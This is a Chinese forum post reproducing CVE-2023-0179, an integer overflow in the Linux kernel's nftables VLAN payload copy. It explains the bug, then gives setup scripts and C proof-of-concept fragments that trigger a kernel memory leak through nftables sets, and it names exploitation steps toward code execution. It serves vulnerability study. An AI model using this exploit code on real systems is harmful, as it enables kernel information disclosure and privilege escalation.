Nftables整型溢出(CVE-2023-0179)

盛世宏图  金牌会员 | 2023-12-9 04:09:16 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 885|帖子 885|积分 2655

前言

Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。
漏洞成因

漏洞发生在nft_payload_copy_vlan函数内部,由于计算拷贝的VLAN帧的头部的长度时存在整型溢出,导致了拷贝超出头部长度的数据。
代码细节如下:
nft_payload_copy_vlan
  1. #define VLAN_HLEN   4       /* The additional bytes required by VLAN
  2.                      * (in addition to the Ethernet header)
  3.                      */
  4. #define VLAN_ETH_HLEN   18      /* Total octets in header.   */
  5. /*
  6. *   d表示目的寄存器
  7. *   skb通常是网络协议栈的缓存区
  8. *   offset为数据包的偏移量
  9. *   len为拷贝的长度
  10. */
  11. static bool
  12. nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
  13. {
  14.     int mac_off = skb_mac_header(skb) - skb->data; //获取以太网帧头部偏移
  15.     u8 *vlanh, *dst_u8 = (u8 *) d;
  16.     struct vlan_ethhdr veth;
  17.     u8 vlan_hlen = 0;
  18.    
  19.    /*
  20.        IEEE 8021Q协议是对标准的以太网帧进行修改,加入了VLAN tag
  21.        IEEE 8021AD协议则是加入双重VLAN tag,一个用于内网,一个用于外网
  22.    */
  23.     if ((skb->protocol == htons(ETH_P_8021AD) ||
  24.          skb->protocol == htons(ETH_P_8021Q)) &&
  25.         offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN)
  26.         vlan_hlen += VLAN_HLEN;
  27.     vlanh = (u8 *) &veth;
  28.     if (offset < VLAN_ETH_HLEN + vlan_hlen) { //offset < 18 + 4
  29.         u8 ethlen = len; //拷贝的长度
  30.         if (vlan_hlen &&
  31.             skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0)
  32.             return false;
  33.         else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth))
  34.             return false;
  35.         if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
  36.             ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
  37.            //ethlen = ethlen - (offet + len - VLAN_ETH_HLEN + vlan_hlen);
  38.            //ethlen = ethlen - offset - len + VLAN_ETH_HELN - vlan_hlen;
  39.            //ethlen = VLAN_ETH_HELN - vlan_hlen - offset
  40.            //ethlen = 14 - offset
  41.            //如果offset > 14 则会造成 ethlen溢出
  42.            
  43.         memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen); //这里实际上是拷贝vlan帧的头部,但是如果ethlen发生了溢出则会拷贝多余的字节
  44.         len -= ethlen;
  45.         if (len == 0)
  46.             return true;
  47.         dst_u8 += ethlen;
  48.         offset = ETH_HLEN + vlan_hlen;
  49.     } else {
  50.         offset -= VLAN_HLEN + vlan_hlen;
  51.     }
  52.     return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0;
  53. }
复制代码
该函数实际的作用就是从数据包中将VLAN头拷贝到指定的寄存器中进行存储,函数开始会对数据包的协议进行校验,若是为IEEE 8021Q或IEEE 8021AD协议则说明以太网帧中增加了VLAN TAG,那么再拷贝VLAN头时需要将TAG也计算在内。在拷贝之前需要先计算待拷贝的长度,因此会进行一个长度的校验,若偏移加长度超过了VLAN帧的头部长度时,就需要对拷贝长度进行一个校准,防止拷贝过多的数据,但是这个校验有问题,通过上述推导的公式可以发现,当offset大于14且小于22并且offset+len的值大于22时,ethlen就会发生溢出,这是因为ethlen本身为无符号整型,当得到结果为负数时,会导致ethlen变成非常大。
这里有一个需要注意的点,在计算时ethlen时会加上vlan_hlen而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen。
那么当offset = 19而len = 4时,则offset + len = 23 > 22,因此会进入if语句内部,接着ethlen = 14 - 19 = -5(发生溢出)
环境搭建

这里采用的是qemu + linux6.16内核进行环境的搭建。 作者创建虚拟网络设备的脚本如下
https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh
  1. #!/bin/sh
  2. # create the peer virtual device
  3. ip link add eth0 type veth peer name host-enp3s0
  4. ip link set host-enp3s0 up
  5. ip link set eth0 up
  6. ip addr add 192.168.137.137/24 dev host-enp3s0
  7. # add two vlans on top of it
  8. ip link add link host-enp3s0 name vlan.5 type vlan id 5
  9. ip link add link vlan.5 name vlan.10 type vlan id 10
  10. ip addr add 192.168.147.137/24 dev vlan.10
  11. ip link set vlan.5 up
  12. ip link set vlan.10 up
  13. ip link set lo up
  14. # create a bridge to enable hooks
  15. ip link add name br0 type bridge
  16. ip link set dev br0 up
  17. ip link set eth0 master br0
  18. ip addr add 192.168.157.137/24 dev br0
复制代码
可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备,例如虚拟设备对,vlan接口以及网桥。这是因为想要进入nft_payload_copy_vlan函数的执行流程,需要数据包在vlan上进行传输才可以。代码如下所示:
  1. void nft_payload_eval(const struct nft_expr *expr,
  2.               struct nft_regs *regs,
  3.               const struct nft_pktinfo *pkt)
  4. {
  5.     const struct nft_payload *priv = nft_expr_priv(expr);
  6.     const struct sk_buff *skb = pkt->skb;
  7.     u32 *dest = &regs->data[priv->dreg];
  8.     int offset;
  9.     if (priv->len % NFT_REG32_SIZE)
  10.         dest[priv->len / NFT_REG32_SIZE] = 0;
  11.     switch (priv->base) {
  12.     case NFT_PAYLOAD_LL_HEADER: //数据链路层
  13.         if (!skb_mac_header_was_set(skb)) //判断数据包是否为mac头
  14.             goto err;
  15.         if (skb_vlan_tag_present(skb)) { //判断数据包是否有vlan标志
  16.             if (!nft_payload_copy_vlan(dest, skb,
  17.                            priv->offset, priv->len))
  18.                 goto err;
  19.             return;
  20.         }
  21.         offset = skb_mac_header(skb) - skb->data;
  22.         break;
  23. ...
复制代码
因此为了使得程序进入漏洞函数,需要建设特定的网络环境。而该网络拓扑与Docker的很像,具体内容可以参考https://cloud.tencent.com/developer/article/1835299。网络拓扑大致如下,使用虚拟设备对的作用时,一端接口作为数据的输入而另一端接口作为数据的流出,那么后续进行hook的时候只需要hook一个点就行,设置vlan接口是因为只有vlan的数据包才能够进入nft_payload_copy_vlan函数的流程内,而在vlan.5上再次创建一个vlan接口是因为使得数据包能够加入双层vlan tag,这样可以通过IEEE 8021AD协议传输。
[img=720,371.2022630834512]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415926.png[/img]
但是我在qemu的环境调试时数据包的协议都不是IEEE 8021AD而是IEEE 8021Q,在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现,可以指定vlan的类型为IEEE 8021AD,因此修改了一下脚本。
  1. #!/bin/sh
  2. # create the peer virtual device
  3. ip link add eth32 type veth peer name host-enp3s0
  4. ip link set host-enp3s0 up
  5. ip link set eth32 up
  6. #ip addr add 192.168.137.137/24 dev host-enp3s0
  7. # add two vlans on top of it
  8. ip link add link host-enp3s0 name vlan.5 type vlan id 5
  9. ip link add link vlan.5 name vlan.10 type vlan  protocol  802.1ad  id 10
  10. #ip addr add 192.168.147.137/24 dev vlan.5
  11. ip link set vlan.5 up
  12. ip link set lo up
  13. ip link set vlan.10 up
复制代码
指定协议之后,数据包的协议也被为IEEE 8021AD了
[img=720,350.56947608200454]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415927.png[/img]
[img=720,339.406]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415928.png[/img]
至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlan、bridge以及IEEE 8021Q,因此需要开启这些模块,否则在创建设备时会出现unknow的错误。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
漏洞验证

可以使用libnftnl库进行nftableshttps://github.com/tklauser/libnftnl/tree/master进行规则的设置
nftables需要设置table -> chain -> rule -> expr,由于我们需要捕获在虚拟设备对上的数据包,因此可以设置协议类型为NFPROTO_NETDEV,该协议类型是处理来自入口的数据包并且配合ingress的HOOK点以及chain可以指定HOOK点在具体的设备上,那么配合我们搭建的网络设备环境,可以指定HOOK点为以太网口(eth32)。
  1. ...
  2.     if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL))
  3.     {
  4.         perror("[-] create table");
  5.         exit(-1);
  6.     }
  7.    
  8.     /* 2. create chain */
  9.     printf("[2] create chain\n");
  10.     struct unft_base_chain_param up;
  11.     up.hook_num = NF_NETDEV_INGRESS;
  12.     up.prio = INT_MIN;
  13.     if (create_chain(nl, table_name, chain_name,  NFPROTO_NETDEV, &up, &seq, NULL, dev_name))
  14.     {
  15.         perror("[-] create chain");
  16.         exit(-1);
  17.     }
  18. ...
复制代码
然后再设置payload的表达式触发漏洞,我们将offset设置为19,len设置为5
  1. rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19, 4, NFT_REG32_00);
复制代码
可以看到我们成功将ethlen的值设置为了251的值,该值是远远超出了以太网帧头部的长度了。
[img=720,360.5687203791469]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415929.png[/img]
可以看到寄存器中的值中除了以太网帧头部的数据,还有一些额外的数据了。
[img=720,223.422]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415930.png[/img]
为了将这些数据打印出来,则需要利用nftables中自带的set(集合),集合实际是一组数据,例如我们需要过滤几个ip地址,就能将这些ip地址作为一个集合作为过滤的名单,而集合中有一种属性是map即以键值对的形式存储值,而这些值实际是可以通过寄存器进行添加的,那么我们就将上述寄存器的值添加到集合中使用nft list ruleset的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下:
  1. //创建集合
  2. struct nftnl_set* build_set(char* table_name, char* set_name, uint16_t family)
  3. {
  4.     struct nftnl_set *s = NULL;
  5.    
  6.     s = nftnl_set_alloc();
  7.    
  8.     if (s == NULL) {
  9.         perror("OOM");
  10.         exit(EXIT_FAILURE);
  11.     }
  12.    
  13.     nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
  14.     nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);
  15.     nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
  16.     nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4);
  17.     /* See nftables/include/datatype.h, where TYPE_INET_SERVICE is 13. We
  18.      * should place these datatypes in a public header so third party
  19.      * applications still work with nftables.
  20.      */
  21.     nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); //以16进制的形式存储数据
  22.     nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4);
  23.     nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE);//以16进制的形式存储数据
  24.     nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
  25.     nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP);  //以map存储数据
  26.     return s;
  27. }
复制代码
在创建完集合后,往集合里面添加数据是通过表达式完成的,而动态的添加以及删除集合中的元素则是通过dynset表达式进行处理,添加表达式代码如下:
  1. void rule_add_dynset(struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data)
  2. {
  3.    struct nftnl_expr *expr = nftnl_expr_alloc("dynset");
  4.    nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); //需要指定添加元素的集合名称
  5.    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); //指定操作为添加操作
  6.    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1);
  7.    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); //键
  8.    nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data);//值
  9.    nftnl_rule_add_expr(r, expr);
  10. }
复制代码
这里需要注意的是,我们指定了捕获数据包的网口,因此数据包需要途径该网口才能够捕获数据包,下面是作者使用的数据包发送的代码,首先是绑定发送数据包的端口为vlan.10,由于vlan.10是在vlan.5上创建的,因此从vlan.10出去的数据包会被打上双层vlan tag,并且vlan.5是在host-enps32上创建的,而host-enps32又是与eth32构成虚拟设备对,因此数据包最终会从eth32发出并且携带双重的vlan tag从而进入nft_payload_copy_vlan的函数内部,触发漏洞。
  1. int send_packet()
  2. {
  3.    int sockfd;
  4.    struct sockaddr_in addr;
  5.    char buffer[] = "This is a test message";
  6.    char *interface_name = "vlan.10";  // double-tagged packet
  7.    int interface_index;
  8.    struct ifreq ifr;
  9.    memset(&ifr, 0, sizeof(ifr));
  10.    memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));
  11.    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  12.    if (sockfd < 0) {
  13.        perror("[-] Error creating socket");
  14.        return 1;
  15.    }
  16.    // Set the SO_BINDTODEVICE socket option
  17.    if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {
  18.        perror("[-] Error setting SO_BINDTODEVICE socket option");
  19.        return 1;
  20.    }
  21.    memset(&addr, 0, sizeof(addr));
  22.    addr.sin_family = AF_INET;
  23.    addr.sin_addr.s_addr = inet_addr("192.168.123.123");  // random destination
  24.    addr.sin_port = htons(1337);
  25.    
  26.    // Send the UDP packet
  27.    if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
  28.        perror("[-] Error sending UDP packet");
  29.        return 1;
  30.    }
  31.    close(sockfd);
  32.    return 0;
  33. }
复制代码
可以看到最终完成了内核信息的泄露。
[img=720,245.64705882352942]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202311071415931.png[/img]
完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c
漏洞利用

利用JUMP调整stacksize
设置寄存器的值
利用nft_payload_copy_vlan触发漏洞拷贝payload
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

盛世宏图

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表